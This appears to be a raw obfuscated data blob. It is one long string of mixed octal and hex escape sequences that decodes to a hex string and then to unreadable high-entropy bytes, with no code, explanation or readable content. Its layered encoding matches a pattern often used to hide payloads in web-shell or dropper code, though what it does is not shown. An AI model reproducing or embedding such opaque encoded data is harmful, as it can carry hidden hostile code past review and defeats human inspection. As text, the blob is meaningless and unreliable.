\64\60\62\x62\x31\62\65\x34\64\65\x31\x36\x36\x36\62\x33\64\x66\x37\x39\60\67\x35\61\x37\x61\x30\145\x34\143\x37\143\x34\64\66\x34\x30\x37\65\x37\65\71\x36\66\x36\x31\66\145\x35\63\67\x61\64\x64\64\71\x37\61\64\x36\x35\x65\67\71\65\x35\x37\67\60\x37\63\x38\64\62\x32\x37\67\65\67\70\61\66\66\x39\x35\x61\61\66\x31\143\x35\x64\x35\71\61\63\x34\60\67\66\x37\61\65\x34\60\65\x30\70\x36\62\67\71\x33\x39\67\x39\60\x30\65\x36\67\x30\65\61\64\x39\x37\144\x34\x32\x36\146\60\x35\60\144\62\x65\66\x34\x36\61\66\62\65\146\62\x34\x34\x36\x34\x39\x37\67\x34\144\x35\x66\67\142\65\65\67\x37\60\x36\x32\x36\x34\x32\x36\63\x37\x36\x37\x39\60\x38\66\x64\x35\x61\x31\66\66\x33\x35\144\61\145\66\64\x34\60\x37\66\61\x38\65\x34\61\143\67\146\x36\x32\63\x39\x34\61\x37\70\x35\x34\62\x65\67\x61\x35\144\63\x31\x37\x63\x34\x36\66\x65\x30\x35\x35\60\x35\66\66\x34\x33\x63\x36\61\x35\63\67\x61\x34\66\64\x31\62\71\x34\146\65\x65\x37\x62\65\65\x37\x37\x30\66\x32\x36\x34\x32\x33\141\x37\141\67\71\61\62\x36\61\65\145\x34\x37\x36\67\x35\65\x35\71\x30\x64\65\x32\x36\142\x31\x33\x35\145\x34\x34\67\146\66\60\67\61\62\x37\x37\60\x31\x64\65\x31\67\x30\65\65\x34\66\67\x64\x34\x39\66\x31\x31\63\64\x61\65\x32\66\145\66\64\x36\142\65\x37\62\64\x34\71\x34\62\67\x31\64\x33\x35\x37\x32\142\x35\70\x37\67\65\144\x32\x36\64\62\66\67\67\x61\x37\x39\65\x35\66\71\x35\143\64\x33\66\x34\x35\67\x35\71\x30\x64\64\x30\67\x32\61\x30\x35\x32\x34\x36\67\x63\x36\x38\67\x65\64\61\x37\x30\65\144\x35\x31\66\x30\x34\x39\64\144\x37\x66\x31\142\60\67\x30\x30\60\60\65\x31\66\x34\x33\x63\66\142\65\x35\67\141\x33\x32\x34\x38\x32\x65\62\x35\x35\144\67\x66\x35\x33\x37\146\65\x65\x34\x66\x34\x30\63\x30\67\x39\x37\x30\x35\x33\x30\70\x35\x64\64\x34\x36\63\65\x31\x35\x66\66\x63\65\x32\x36\x62\61\x33\x35\x34\64\x30\x37\x33\66\x30\67\143\64\61\x37\141\60\60\x35\x33\x37\x61\x31\x34\64\65\67\65\x31\x63\x36\144\60\71\x35\x66\x35\70\66\x34\62\x35\66\x32\x35\67\x37\x66\64\x66\64\x38\62\64\62\65\65\146\x37\145\x35\71\67\63\x30\x38\x32\x36\65\62\x37\x61\67\62\x37\145\65\x34\x30\x38\64\x65\x35\x63\66\60\x35\x33\x35\x63\66\x62\65\x32\66\x62\x31\63\x35\x30\x34\x37\x37\x37\66\61\x33\x64\x34\145\67\141\65\142\62\145\x37\141\65\x33\x32\x66\x37\144\x30\x31\x36\146\x30\63\61\63\x32\x65\x36\x34\x36\x37\x36\60\65\62\x32\64\64\64\64\62\x37\64\64\146\x35\146\67\70\x35\65\x37\61\60\67\64\63\x34\62\x36\x30\x30\x65\67\x30\60\x62\66\61\65\x64\x34\61\66\x37\65\x34\60\x33\x31\63\x34\65\67\64\x31\x34\x35\64\x31\x66\67\x63\x36\60\67\x66\x34\x34\67\x61\60\x33\x35\x31\x37\x61\x35\x64\63\x31\67\146\x34\64\66\61\61\63\64\x61\x35\x32\66\x34\x36\x30\x30\x38\65\67\67\x63\x32\x63\x34\62\62\145\x34\63\65\x37\x33\x63\x35\63\67\67\x30\70\64\x33\64\70\66\x66\67\65\66\141\x34\142\x36\141\65\x65\61\x62\61\143\x35\64\60\x39\x36\145\x34\x32\x32\x62\x31\142\x35\x34\x34\62\x37\67\x36\x38\62\64\64\x32\67\141\65\x65\65\70\67\x30\65\x35\64\x35\x37\144\61\x36\x30\67\60\x39\61\67\x33\60\66\66\x36\60\66\60\x35\x31\67\71\x34\144\x35\62\x36\145\64\x37\x35\x64\67\144\65\70\67\x37\60\65\62\66\x34\62\63\141\67\x35\x37\x30\x31\66\66\x64\x35\x34\x31\143\x36\x31\x35\x64\x35\x66\66\x65\x34\x32\63\62\x31\62\x35\66\64\x31\61\x36\x37\62\66\x34\x34\65\67\x65\65\146\x35\x36\66\60\x34\x39\x34\x64\x37\142\x34\x33\66\144\x31\63\64\x61\65\62\x36\60\x36\67\x36\144\x35\x37\x37\x66\x34\66\x34\70\67\x36\x34\146\x35\67\63\143\x35\141\67\67\x30\x30\64\x63\x34\62\x36\65\x37\x39\67\x61\61\66\66\x39\65\143\64\61\60\62\65\61\65\x64\66\67\x34\x30\x32\x63\x37\x31\65\62\x34\62\67\x35\66\62\67\x65\x34\x31\x37\141\x35\x38\65\x36\x37\63\60\145\x33\61\67\143\x34\66\66\x65\60\64\x35\x35\65\x31\66\64\63\146\x36\x65\65\x37\67\x30\62\x63\64\x38\x32\x39\63\x62\65\67\67\65\65\x61\67\67\64\64\64\67\x34\70\x36\146\x37\x38\67\141\61\x32\x36\61\x35\143\x31\142\66\67\65\61\65\x64\x36\x65\64\61\x37\x33\x31\64\65\x32\64\66\67\146\x36\x32\67\x38\x32\67\x37\x30\60\x61\65\x31\x37\x33\x35\62\62\x66\x37\143\64\65\66\x66\x30\x34\65\65\65\61\66\x65\x36\x30\66\x62\65\67\x37\x66\63\x32\x34\x38\67\x31\x34\x34\x35\67\67\x35\x35\63\67\x32\x30\x31\x34\x30\x34\62\x36\64\60\x65\x37\141\65\x36\66\62\65\x63\64\66\61\x63\65\x34\65\x61\66\x37\x35\x32\66\x62\61\63\65\60\x34\x37\67\67\66\61\x33\144\x34\144\67\141\65\x62\65\x35\x37\141\65\63\x34\65\67\x64\60\61\66\64\x30\x33\x31\63\x35\70\x36\x34\66\67\x36\144\65\62\x37\70\x34\x66\x34\x38\67\x36\64\x36\65\x66\62\x32\x33\60\x37\x33\x30\x32\x33\70\64\x32\x36\x34\67\x31\67\143\65\65\66\145\x35\144\64\71\x36\x37\65\x34\60\63\x36\x37\64\x30\67\x30\x37\61\x35\64\x34\67\x37\63\66\x35\x37\x62\63\x39\x37\x61\x35\x61\x35\65\67\141\65\144\63\61\67\144\64\x32\x36\x34\60\x39\x35\64\65\63\66\64\x36\63\66\142\65\x37\x37\71\x32\x63\x34\70\67\66\x34\x64\65\x66\x33\x38\x35\x35\x37\x66\60\71\x34\x65\x34\62\62\x33\67\x39\x37\60\x35\146\66\x32\x35\x64\x34\70\x36\61\65\x34\65\67\x31\63\64\x32\62\143\61\x32\x34\64\65\143\x37\64\x36\62\63\x64\64\x36\67\71\x31\71\x33\x30\67\x30\x35\62\64\143\x37\146\x34\62\66\146\60\x39\60\141\65\x35\66\64\66\x32\66\x32\x35\x35\67\142\x34\146\x34\60\67\x33\x34\66\65\67\67\65\65\65\67\67\65\141\64\143\x34\x34\x36\x36\67\141\x36\x61\x34\x62\x36\141\x35\x65\61\142\66\61\x35\x34\x30\x39\x30\x64\64\x32\62\142\61\142\65\x34\x34\x32\67\67\x36\x38\62\x34\x34\x65\x37\x61\65\146\65\x38\x37\141\x30\71\x34\x39\67\144\64\x33\66\146\x30\63\65\64\62\145\x37\64\67\143\x36\141\65\146\67\145\64\x66\64\x30\x37\67\64\64\65\144\67\x63\65\x39\x37\146\x30\x36\x34\63\x34\61\x36\x65\67\70\67\x30\65\62\x36\x62\65\x65\64\x35\x36\x61\x35\x35\x35\144\x36\64\64\x32\67\x37\x31\71\65\66\x34\60\x37\x37\66\66\x37\x30\x32\67\66\x61\x34\x30\65\x32\67\x34\65\x32\64\x39\67\144\64\62\66\144\x30\x33\60\141\65\63\66\x65\x36\x30\61\66\x35\x36\67\x31\64\x34\64\x32\x32\64\62\x35\65\144\62\x32\65\63\x37\62\65\144\x34\x63\64\70\63\60\67\x33\x37\x38\61\66\x36\x62\65\141\64\60\66\x34\65\x37\x35\x36\x30\x64\64\x38\67\64\x36\146\65\x36\64\66\60\x38\66\61\x37\x63\64\66\x37\70\61\71\x33\60\67\64\x35\x63\63\x31\67\x64\x34\65\x36\x64\60\x33\x35\67\65\61\66\x65\x36\x37\61\66\65\x36\67\x30\64\x61\64\x38\x37\x37\x32\65\65\x64\x37\x38\65\63\x37\x37\x30\63\x34\x65\64\62\x36\x36\67\71\67\70\65\67\x31\66\x35\71\64\x38\x36\64\64\67\64\63\x36\146\x34\66\x37\60\61\62\x35\66\x34\x35\67\x35\x36\62\x37\x39\x34\61\x37\x30\65\142\x35\63\67\63\x35\x64\64\x37\x37\65\x34\65\61\x39\60\x33\x35\x33\x35\70\66\x36\x36\x32\66\x39\65\65\x37\70\64\x36\x34\60\67\62\64\x30\x35\71\67\65\65\63\67\61\x30\x34\x34\x37\x34\70\x36\x35\67\x61\x37\71\65\x65\66\71\65\144\64\60\x36\63\x35\x34\x30\x33\x36\67\64\x32\x37\x35\x31\x37\65\66\x34\65\x37\x63\66\62\67\x66\64\x31\x37\x30\60\x30\x35\70\67\67\65\x35\x34\66\67\146\x34\x37\x36\x36\60\x33\x31\67\x35\63\x36\66\62\65\x30\70\x35\146\x37\x30\64\64\x34\x32\67\x30\64\x36\64\144\x36\x31\65\62\67\x35\x30\x30\64\143\64\x30\66\x33\67\x61\67\x61\x30\x62\66\x39\65\x34\x31\143\66\141\x35\65\60\x34\66\64\64\x32\63\x32\x31\62\65\x34\61\x36\67\63\x36\70\x37\70\64\145\x37\x30\61\x64\65\141\67\63\65\x35\64\145\67\142\64\61\x36\x31\61\63\x34\141\65\x32\x36\64\x36\61\66\61\x35\x37\67\144\64\141\x34\x32\62\x65\64\66\65\x37\x32\61\x35\x35\x37\67\x35\141\x34\65\64\62\62\63\67\71\x37\x61\60\61\x36\x64\x34\x65\65\x63\66\x30\65\x33\65\x38\x30\x64\x34\x30\67\62\x36\x66\x35\x34\x31\x63\67\60\66\70\x32\67\64\x36\x37\70\60\141\x35\63\67\x30\x35\63\62\x66\x37\146\64\x31\x36\64\x30\61\60\60\x35\141\66\145\62\x35\66\62\x35\x37\63\71\62\143\x34\64\67\66\x33\x62\x35\x39\x37\70\x35\71\x37\x66\x35\67\64\x65\64\61\66\146\60\145\x37\x39\65\145\x36\142\x35\x63\64\x37\61\x63\65\x37\x35\x64\x36\142\64\x35\67\x34\61\x34\65\64\x34\66\x37\143\x36\70\67\x30\64\144\x37\x39\65\71\62\145\67\60\60\141\63\x31\x37\146\x34\x35\x36\x64\60\x30\x30\144\63\x30\x36\x65\x36\64\x36\145\x35\x66\67\x31\x34\146\x35\x32\x36\145\64\67\65\x64\62\66\x35\71\67\66\x35\x37\x34\65\64\62\63\141\x37\141\67\141\x35\x35\x36\x62\65\64\x31\x63\66\x31\x35\67\x35\144\x30\144\64\x38\x32\x38\x31\64\x35\66\64\63\60\x38\66\70\x32\x65\x34\62\67\70\x35\x63\x33\60\67\x36\x35\61\x34\x63\66\x66\x35\143\x36\x35\x30\x33\60\144\x32\x65\x36\x37\x33\66\66\60\x35\65\x32\64\x34\66\x34\x32\67\x30\63\x62\65\67\x32\x31\65\70\67\x35\60\x33\64\67\64\70\63\x39\67\x61\x37\70\65\x34\x36\144\x35\64\x31\x36\x36\64\x35\65\x35\x66\x36\x63\64\64\67\63\x31\x30\64\x34\x35\x63\x37\x34\66\x36\67\x66\64\146\x37\71\60\x33\65\x33\x37\141\65\62\64\143\67\x66\x34\62\x36\145\60\61\x35\67\65\x36\x36\x34\63\x63\x31\66\65\65\67\x64\64\65\x34\60\x37\x35\x33\142\x35\142\67\x66\65\70\x37\67\65\x65\x34\x30\64\x34\66\65\x37\63\x37\x30\65\63\x30\70\65\x34\x34\x38\x31\x63\x35\64\61\145\x31\63\x34\60\67\x37\61\142\x35\66\61\x63\x37\143\x36\62\x37\x63\64\66\x37\144\x35\x66\x35\141\x37\60\65\62\x34\145\67\65\x31\66\66\x65\x30\x31\60\71\x35\65\x36\x36\66\x31\x36\144\64\65\66\64\x34\x65\x34\x36\x37\65\x34\60\x35\146\x32\x31\x32\x65\67\65\x30\x33\x34\67\64\x38\x36\x31\67\61\67\x38\65\x31\x36\x39\65\141\64\64\x36\x33\65\x64\x30\71\x36\70\64\61\x37\64\61\x62\x35\64\64\x32\67\x37\66\x30\x37\144\64\146\67\x63\65\142\65\x31\67\x30\65\x64\64\66\67\x35\60\x31\66\x65\60\60\x35\x37\65\70\66\x37\63\143\x31\x36\x35\x32\x37\142\62\x63\64\x32\62\x64\x34\x36\x35\x66\x37\x61\x35\66\x37\65\65\145\64\65\x34\70\x36\145\60\145\x37\141\65\63\x36\x32\x34\x65\65\143\66\60\65\x33\x35\x38\60\144\64\x31\62\70\66\146\x35\x65\64\67\67\x35\66\62\67\141\64\61\67\x38\65\x64\63\x30\x37\60\60\71\x34\x63\67\x66\64\65\60\x37\60\61\65\61\65\x38\x36\62\x36\62\66\142\65\x37\x32\67\64\66\64\64\x37\x31\x34\x34\x35\x37\67\x39\63\60\x37\146\x30\x39\x34\x30\x34\61\x32\67\67\141\67\70\x35\x37\x36\142\65\143\x31\143\66\x31\x35\x37\65\x62\x36\x62\64\x35\67\x34\x36\x66\65\145\60\61\60\70\66\70\x37\x63\62\x37\x37\70\x35\x39\x33\x30\67\60\x35\62\63\x31\x37\146\64\62\66\x34\x30\63\x30\71\62\x65\x37\64\x37\143\x36\x61\x35\x31\67\x66\64\x34\x34\x31\63\67\x34\x63\65\x64\x37\x61\x35\63\67\146\x30\x37\64\x63\64\x30\x32\67\x37\x61\67\141\61\62\x36\142\65\x65\64\67\66\64\x35\60\60\63\66\64\64\x32\67\x36\x31\x39\65\x37\64\60\x37\65\66\66\67\x30\64\62\x37\141\x35\65\x35\71\x37\x61\65\66\x32\x66\67\143\x34\x38\x36\62\x30\60\x31\67\65\65\66\x36\63\x63\x36\x64\x35\x35\x33\x64\x32\143\x34\65\x37\x31\64\143\65\x64\67\x66\x35\x38\x37\x66\x30\71\63\70\64\x30\x36\x32\x37\x61\67\x61\65\x31\x36\144\65\x63\x34\63\66\63\x34\x37\x34\63\66\x66\65\62\x36\142\x31\63\65\x32\x30\x35\67\x63\x36\x30\62\x65\64\145\67\x63\x35\144\63\60\x37\x36\65\65\x32\146\x37\x34\x31\142\66\x32\x30\x33\x35\67\x35\70\66\x34\62\65\61\x36\x35\66\62\63\x34\146\x34\x38\67\x31\x34\x63\x35\141\67\x34\x35\x38\67\x33\x30\63\64\145\64\64\62\63\67\x61\x36\x61\x34\142\66\141\x35\70\64\x37\66\64\65\60\x31\141\66\143\65\x32\x36\x62\61\63\x35\62\x34\x37\x30\x38\x36\x30\x37\x66\64\x31\x37\x65\x35\x64\62\x65\67\64\x30\63\62\146\x36\146\x35\143\x36\x35\x30\x35\61\63\62\x65\x36\x36\x33\66\61\66\65\x33\x37\x39\64\x34\x34\x34\67\62\x32\x35\65\66\62\66\x35\66\67\65\x30\x30\x33\70\x34\62\62\63\67\x38\x37\71\x30\143\x31\66\x35\64\x34\x33\x36\x33\65\60\x35\x36\x36\x62\x34\x34\x37\65\x36\146\65\x32\60\65\61\66\x36\x34\x37\141\62\67\67\x31\65\x62\x32\x65\x37\x62\x35\67\63\61\x36\x66\x35\143\x36\x35\60\65\65\x31\65\66\x36\x33\62\65\60\70\x34\x35\x36\x34\64\x65\64\x34\x37\x35\64\x34\65\146\67\141\x35\70\67\61\x30\x30\x34\63\64\x36\x33\x30\67\x35\66\141\x34\142\x36\x61\x35\x61\x34\x37\x36\x62\64\x37\64\63\x36\x66\x34\x36\x37\x30\61\x34\65\x33\x34\65\x30\x38\67\62\x36\64\64\x35\67\145\x35\x66\x35\x33\66\x30\x34\71\64\144\67\142\x34\x33\66\144\x31\63\x34\141\x35\62\x36\64\x36\x33\60\x38\65\x32\62\64\64\71\65\62\x36\145\x34\x37\x35\67\x37\x39\65\x35\67\x37\x35\x64\64\67\x34\62\66\65\x37\63\67\x30\x30\61\x36\60\x35\x63\61\x63\61\143\65\x35\x35\x65\61\63\65\x32\66\142\61\x33\x35\64\x34\x37\x37\x33\66\x38\x37\145\64\x31\x37\143\65\x63\65\x38\67\60\x35\x35\x32\x66\67\143\64\x35\66\61\60\x35\65\61\62\145\x37\x34\67\x63\x36\x61\x35\63\x33\144\x34\144\x34\60\x32\x34\64\64\x35\142\x37\143\62\x65\x37\63\x30\x38\x34\x33\64\x39\63\144\x37\66\x37\x61\x35\66\66\71\x35\145\60\x35\66\x31\x35\64\x30\64\x36\x65\x34\x38\67\64\61\64\65\63\x34\x39\x37\x65\x36\64\67\x61\64\66\x37\143\61\71\x35\x39\x37\x34\61\x34\63\x31\x37\143\x34\60\66\x64\60\x31\65\x30\x35\x38\66\146\x36\x36\66\x39\64\65\66\64\64\145\x34\x32\x37\x35\x34\66\65\67\x37\142\63\60\x37\x33\x30\61\x33\x38\x34\70\66\60\67\61\x37\x39\65\62\x36\144\x35\x38\x34\67\60\62\64\x37\x34\63\66\x66\64\62\x37\x30\x31\64\x35\x65\64\66\x37\x30\66\x34\x37\x38\x34\146\67\60\65\x61\x35\70\x37\x33\65\60\63\x31\67\142\x30\x35\66\64\60\65\x35\67\63\x30\67\64\67\x63\x36\x61\x35\x35\x37\x66\x34\146\x34\x38\67\x34\x34\64\x35\x62\67\144\x35\66\67\65\x30\61\x33\x38\64\x31\x36\63\67\x39\x37\145\x31\x32\61\x36\x35\x38\x34\x31\61\143\64\x37\64\63\66\146\x34\x32\67\x30\61\70\x35\145\64\66\67\63\x36\x34\67\70\x33\x39\x37\x63\65\x35\x35\63\x37\x62\x35\60\x34\x35\67\x62\64\x30\x31\x39\x30\65\x35\66\x32\x65\66\x36\x36\61\x36\61\65\146\x37\x30\63\x32\64\x31\67\142\x34\60\x35\71\67\x64\x35\x61\67\65\x34\64\63\70\x34\x38\x33\x64\67\x35\67\x39\x35\63\66\x39\x35\x35\x34\x32\66\70\x35\65\60\x39\x36\145\64\x38\x37\66\x31\67\x35\146\x34\66\x37\60\67\x32\x36\64\x34\x35\67\x61\65\x62\65\70\x37\141\x35\x33\63\x31\67\71\64\60\66\x34\60\x35\65\146\x35\x33\66\63\66\64\x30\70\x35\63\x37\x62\64\71\x34\62\x37\x61\x34\146\65\146\x37\x64\65\65\x37\146\60\x36\x33\x38\x34\61\x36\67\x37\x38\x37\143\65\67\60\70\x35\x65\x34\x39\61\143\x35\61\65\x64\66\x35\64\x39\67\x66\61\70\65\64\x34\x36\67\65\66\70\62\67\64\x32\x37\x38\x35\146\63\60\x37\141\x35\x36\x34\x37\67\142\x31\x66\60\x37\60\67\x30\141\x35\71\x36\x36\66\x35\60\x38\x35\65\63\x64\64\x35\x34\62\67\142\x34\66\65\145\67\x61\65\x36\67\x66\60\x35\x34\67\64\60\62\x33\61\x30\67\x30\65\x66\66\x31\65\x65\61\x66\x36\x38\x35\67\65\146\66\70\64\61\x37\x30\61\x37\x35\67\x34\x35\x30\x38\66\x39\x37\x65\62\x37\x36\141\x34\x30\65\62\67\x34\x35\x37\x34\66\67\64\x34\x34\66\61\x30\63\65\x31\x35\65\x36\64\66\x34\x36\144\x35\x37\63\x39\64\144\64\62\x37\x34\64\60\65\67\67\x61\x35\63\x37\62\65\144\x34\63\x34\x34\x36\146\x30\145\x37\x38\x30\143\x36\145\65\x61\x34\x34\x36\70\65\x37\x35\66\66\x65\x34\62\x37\65\x31\67\65\64\64\x37\x31\x36\x36\61\67\x63\64\x65\x37\70\x35\70\x35\63\x37\x30\65\x30\x34\143\x37\144\x34\x35\66\146\x30\x33\x35\x31\65\61\x36\x34\66\60\60\x38\x35\62\x37\x63\64\x34\x34\64\x37\x31\x34\60\65\144\x33\x38\x35\66\x37\67\60\x33\64\67\x34\70\66\145\x37\141\67\x38\x35\60\x36\71\65\x34\x34\x38\x36\x34\x35\63\65\67\x31\63\x34\70\x33\x36\x31\64\65\x37\64\61\x37\x63\x36\x31\x37\145\64\x34\67\x38\60\141\65\x36\x37\60\x31\x34\x34\x37\67\144\x34\x32\66\x31\60\67\x30\71\65\x61\66\x30\x33\143\x36\61\65\67\x37\61\x34\144\x34\70\67\66\63\142\x35\x37\x37\70\65\x38\x37\x36\x30\66\x32\x36\64\64\66\x34\x37\141\67\x39\65\x36\66\144\x35\x61\x34\x36\60\62\65\144\x35\x61\x31\x33\x34\x38\63\x36\61\62\65\x37\61\142\x37\x66\66\65\62\x65\x34\x34\66\141\64\60\65\x32\x37\60\x35\x32\64\66\x37\x35\64\66\66\x65\60\x35\65\66\65\x31\x36\62\x36\x39\x36\145\64\65\66\x34\x34\145\64\x32\67\65\64\x64\x35\x37\67\x62\65\71\67\x33\60\61\64\65\x34\x34\x36\146\x37\65\67\70\x35\66\x36\142\65\x65\64\x33\61\x63\x35\x37\61\145\66\x63\64\x30\67\x36\61\x39\65\62\x34\62\67\x33\66\x30\x32\63\x34\x32\67\x63\x35\145\65\x39\67\60\x35\x33\64\141\67\x64\x34\64\x36\62\x30\70\65\x65\x32\145\66\63\63\x63\66\71\65\x36\63\x64\x34\x34\64\62\67\62\64\x66\65\146\62\142\x35\70\x37\x35\x30\x33\x34\x65\64\70\63\x64\x37\65\67\70\61\x32\60\x38\x35\145\64\x32\66\x62\x35\67\60\x39\x36\x34\x34\x30\62\61\x31\60\x35\x65\x31\66\67\x63\66\x31\67\x31\x34\64\67\60\x35\64\x35\x39\x37\x34\x35\x64\x34\x39\x37\x35\64\64\60\x37\x30\60\60\71\62\145\66\67\x36\x38\66\61\65\67\x37\144\x32\x63\x34\61\x37\61\x34\x30\65\145\x32\66\62\145\67\x35\x30\66\x34\60\x34\70\x32\x37\60\x65\x37\x64\x35\x33\66\145\x35\70\x34\x33\x36\x61\x35\67\x31\141\61\x33\64\60\67\65\61\64\x35\145\x34\70\x37\143\66\x30\67\x66\64\x34\x37\60\65\64\x33\60\67\64\x35\144\64\x35\67\146\64\x36\x36\x31\x30\x31\61\67\x35\71\x36\67\66\x34\66\x65\x35\x36\x32\x65\x34\x34\64\66\67\x30\x34\144\65\66\67\71\65\x38\x37\65\60\66\x34\x33\64\62\x36\64\67\x35\x37\x39\60\70\66\x62\x35\64\64\x38\66\x38\x35\63\60\x34\x36\143\x34\61\x37\x30\x31\67\65\64\x34\64\x37\63\x36\61\67\61\64\x64\x37\x63\x30\x37\65\x39\x37\x30\x30\145\64\x37\67\x62\61\66\x30\x37\x31\x33\64\x61\x35\x32\x36\64\x36\67\66\x32\65\146\x37\x65\64\144\x34\x34\x37\x32\64\x63\x35\67\x33\x63\65\x36\67\x37\x35\144\64\60\64\70\x36\x65\x37\x35\x37\x30\x30\70\x30\x38\x35\x64\x34\63\66\61\65\x64\65\146\66\142\64\65\x37\x34\61\x37\65\x34\61\x63\60\70\x36\62\67\61\x34\62\x37\60\60\60\x35\141\67\63\65\143\62\x66\x37\65\x30\61\x30\x37\x30\64\65\65\x35\x36\66\x34\63\142\61\x36\x35\67\67\146\64\x64\64\x32\63\x33\64\60\x35\146\x37\x39\x35\70\67\x32\x30\x31\64\65\64\x34\x33\x39\60\145\67\141\x35\x32\66\71\x35\x39\64\60\x36\x62\65\x33\60\71\x36\x63\64\x39\67\x30\61\67\x35\x65\x34\65\x30\70\x36\70\x37\70\x34\144\x37\x30\65\142\x35\61\x37\x33\65\65\x34\65\x37\x63\x34\64\x36\62\x30\64\x35\x32\65\x35\x36\x34\x36\x35\x36\x64\x35\67\x33\x39\x34\144\x34\x36\62\x34\x34\x30\x35\x64\67\x63\65\x61\67\67\x30\60\64\x37\64\62\66\67\67\x61\67\x65\65\64\66\x65\65\x35\x34\x32\66\x33\65\67\65\145\x36\65\64\x31\x37\x31\61\142\x35\62\64\62\x37\x65\x36\62\63\x64\64\x32\67\60\x35\x64\x35\70\x37\142\65\x30\x34\x63\67\x63\64\x37\66\x66\60\70\x35\x30\65\x38\66\62\x36\x37\66\x62\65\62\x32\x33\64\146\64\x32\x37\x32\x34\x66\65\x37\62\x36\63\60\x37\66\x30\64\x34\63\x34\70\66\145\67\141\67\60\x31\62\66\x62\x35\x63\x31\x62\66\x34\65\61\x30\x33\x36\x65\64\x31\x37\66\x31\64\x35\62\64\63\67\x30\x36\x32\62\x37\63\71\x37\60\x35\x63\63\60\x37\x32\x35\x34\x34\x35\x37\144\64\x31\66\146\x30\x34\x30\x64\x35\x39\x36\x32\x32\65\x36\x64\65\66\x32\67\x34\x66\64\x38\x32\71\62\65\x35\67\67\x35\x35\x31\67\x37\64\x30\x34\x37\x34\x32\66\x33\67\x35\67\x65\x30\143\x36\x32\65\x39\x30\x35\x36\63\65\144\65\142\x36\143\x34\x30\63\x32\66\146\65\x32\x34\62\67\145\66\x32\67\x62\x34\146\67\x30\x35\70\x33\60\x37\62\65\63\x34\x65\x37\64\64\71\60\x37\60\x38\x35\62\x35\65\66\64\x36\x30\x36\x30\65\67\x37\x63\64\146\x34\x32\62\145\64\63\x35\67\63\143\65\141\67\x32\60\x31\x34\x65\x34\x36\66\x36\67\x31\x37\60\60\x38\x36\142\65\143\x34\66\x36\x34\65\144\x30\x33\x31\x33\64\60\x37\x33\61\x37\x35\60\x34\x36\x37\x63\66\x38\x37\x63\x34\x36\x37\x63\65\65\63\60\x37\67\60\x61\64\x39\x37\x63\64\x34\x36\x65\x30\x30\65\x35\x35\x35\x36\x65\62\61\x36\x65\65\x36\x32\145\62\x63\x34\66\x32\x34\x34\143\x35\x37\63\143\x35\141\67\x37\x35\144\x34\x63\64\70\x36\x65\67\61\67\x30\60\x38\x36\61\65\x64\64\x33\x36\x34\65\144\65\x66\x36\67\64\x39\62\70\61\67\64\64\x35\143\x37\x34\x36\x32\67\146\x34\145\67\60\x35\x61\x35\71\67\x36\65\65\x34\x37\67\65\61\x63\66\x36\60\x30\65\64\65\x35\66\64\x32\x35\66\x30\65\x35\67\x66\x34\144\x34\65\x37\62\x34\66\65\x39\x32\x62\65\65\66\x35\61\x64\x34\x34\x34\x32\66\x31\x37\x31\67\x30\x35\x31\66\144\65\x38\64\60\66\x33\65\144\x35\71\66\67\64\61\67\62\66\146\65\60\60\65\67\63\x36\x34\67\71\64\66\66\x61\x34\x30\x35\62\67\60\x35\x32\x34\x37\67\65\x34\x36\66\x65\60\65\x35\x36\65\x36\x36\64\66\60\x36\x39\65\x36\67\144\x34\64\x34\66\63\67\x34\x63\65\142\67\x63\65\66\x36\65\x31\x64\64\64\64\62\66\61\x37\63\67\x30\x35\61\66\71\65\70\64\x30\x36\142\65\x31\65\66\x36\x62\64\x39\67\62\x37\x31\65\x30\64\x30\67\x33\66\x34\x37\70\63\71\67\70\x35\144\x35\70\67\x61\x35\144\64\145\67\x63\64\x39\66\145\x30\67\x35\66\65\x33\66\x34\62\65\x36\71\x35\146\x32\63\x34\x34\64\x31\x37\66\x34\x36\x35\x36\67\146\65\x39\x37\67\x35\x37\x34\x37\64\x38\x36\67\61\60\67\61\x35\x31\x36\x62\64\x65\65\143\x36\x30\65\67\x35\x38\66\x35\64\x38\67\61\61\67\x35\62\x34\x30\60\70\66\64\67\61\64\x64\67\x64\x35\x38\x35\x36\x37\x36\65\66\63\61\67\x66\64\70\x36\x32\x30\61\x35\66\x35\66\66\145\x36\67\61\x36\65\x36\67\71\64\64\x34\64\67\62\x33\142\x35\144\67\x34\x35\x39\67\63\x30\63\x34\143\64\x39\66\x65\67\61\67\x61\65\61\x36\x64\x35\x34\x31\146\60\62\x35\65\65\143\x36\x37\64\x38\67\x34\61\70\65\x30\61\x66\67\x37\x36\x36\x32\x34\x33\x39\67\x38\65\71\x35\70\x37\60\x31\60\x33\x31\x37\x66\x34\x39\66\x36\x30\60\65\61\65\65\66\145\66\64\66\x32\65\67\63\x64\63\62\64\x38\67\141\64\x36\65\144\62\62\x35\141\67\x35\60\61\x34\63\64\61\66\x31\x37\x39\67\x39\65\62\60\70\x35\x35\64\x36\61\143\64\67\64\63\x36\x66\64\x36\67\x35\67\x31\x35\x66\x34\x34\67\60\x36\62\x37\146\64\64\x37\141\65\70\x35\71\67\62\61\x34\x34\141\x37\x66\64\x36\60\67\60\x39\65\61\65\x33\x36\x33\63\143\66\142\x35\63\x37\x31\x34\65\x34\60\62\x39\63\x62\65\71\x37\x39\x35\61\67\x35\60\x38\63\x38\x34\x32\66\64\x37\x38\x37\x61\65\x30\x36\x62\65\x64\x31\x63\x36\x34\65\64\61\141\66\64\64\x32\67\x37\61\60\65\67\x34\x33\67\67\x36\66\62\x37\64\x32\x37\145\60\60\x35\63\x37\62\x35\x63\64\67\x37\x66\x34\x33\x30\67\x30\x33\x31\x37\x35\x39\66\x36\66\x31\x36\144\65\63\67\x61\x32\143\x34\x35\x37\x30\x34\x63\x35\x62\62\66\65\71\x37\x35\x30\x30\62\x36\x34\70\66\60\x31\60\x37\71\x35\x37\x31\x36\65\144\x34\67\x30\x32\65\x35\65\144\x36\143\64\66\x37\x35\x31\70\x35\146\64\64\67\x33\66\62\x37\146\64\145\67\141\65\x65\x35\61\67\63\x30\141\64\x63\67\x35\x34\x38\66\x34\60\67\60\x64\63\x30\x36\67\66\x37\x30\x38\x35\x35\x37\143\64\x66\x34\61\x37\x62\64\144\65\142\62\x36\63\60\67\x35\x35\x61\64\145\x34\x36\x33\x30\x31\x30\x36\x61\64\x62\x36\141\x35\145\64\x37\x36\67\65\x64\65\x39\66\x34\x34\x34\x37\67\x31\142\65\62\64\71\67\67\67\62\x36\64\64\65\67\x61\x35\142\62\x65\x37\141\x35\63\x34\143\x37\x39\x34\60\x31\x39\x30\x35\65\x66\x35\71\x36\x33\63\146\x36\144\x35\x33\67\141\64\71\x34\64\x33\x37\64\x63\x35\x36\63\70\65\x35\x37\61\60\x33